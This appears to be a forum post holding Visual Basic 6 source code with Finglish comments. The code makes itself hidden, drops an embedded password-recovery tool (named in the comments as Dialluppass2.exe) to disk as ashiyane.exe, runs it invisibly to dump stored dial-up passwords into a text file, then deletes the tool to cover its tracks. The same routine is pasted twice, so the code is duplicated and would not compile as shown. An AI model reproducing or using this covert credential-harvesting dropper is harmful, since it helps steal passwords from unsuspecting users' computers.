elimiz
پنج شنبه 15 دی 1390, 00:06 صبح
Dim Buffer() As Byte
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False 'Baraye Makhfi Kardane Barname
Buffer = LoadResData(101, "CUSTOM") ' Gharar Dadne Dialluppass2.exe Dar Yek Buffer
Open App.Path & "\ashiyane.exe" For Binary As #1 ' Zakhireye Buffer be Sourate Binary ba Esme Ashiyane.exe
Put #1, , Buffer()
Close #1
m = Shell(App.Path & "\ashiyane.exe /stext ashiyane.txt", vbHide) 'Ejra Kardane Ashiyane.exe be Sorate Makhfi + yek Parametr Baraye Ijade File txt
Kill (App.Path & "\ashiyane.exe") 'Pak Kardane Ashiyane.exe
End 'Khuroj Az Barname :D
End Sub
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False 'Baraye Makhfi Kardane Barname
Buffer = LoadResData(101, "CUSTOM") ' Gharar Dadne Dialluppass2.exe Dar Yek Buffer
Open App.Path & "\ashiyane.exe" For Binary As #1 ' Zakhireye Buffer be Sourate Binary ba Esme Ashiyane.exe
Put #1, , Buffer()
Close #1
m = Shell(App.Path & "\ashiyane.exe /stext ashiyane.txt", vbHide) 'Ejra Kardane Ashiyane.exe be Sorate Makhfi + yek Parametr Baraye Ijade File txt
Kill (App.Path & "\ashiyane.exe") 'Pak Kardane Ashiyane.exe
End 'Khuroj Az Barname :D
End Sub